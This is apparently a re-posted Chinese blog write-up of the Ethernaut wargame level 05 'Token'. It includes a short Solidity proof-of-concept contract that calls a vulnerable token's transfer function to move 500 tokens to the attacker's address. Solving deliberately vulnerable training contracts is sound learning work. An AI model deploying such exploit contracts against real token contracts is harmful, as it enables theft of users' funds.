当前位置:   article > 正文

Ethernaut 05 Token_付费题库token

付费题库token

题意理解:一开始觉得题目考察的是整型溢出漏洞(虽然该漏洞在该合约中确实存在),但后来发现并非如此,个人觉得本题更倾向于考察对ERC20代币和以太坊主币的区分

以下是本题的POC合约:

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.0;
  3. interface Token {
  4. function transfer(address _to, uint _value) external returns (bool);
  5. function balanceOf(address _owner) external view returns (uint balance);
  6. }
  7. contract POC {
  8. address public owner;
  9. address public victim;
  10. constructor(){
  11. owner = msg.sender;
  12. }
  13. function setVictim(address victim_) public {
  14. victim =victim_;
  15. }
  16. function attack () public {
  17. Token token = Token(victim);
  18. token.transfer(owner , 500);
  19. }
  20. }

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/运维做开发/article/detail/819138
推荐阅读
  

闽ICP备14008679号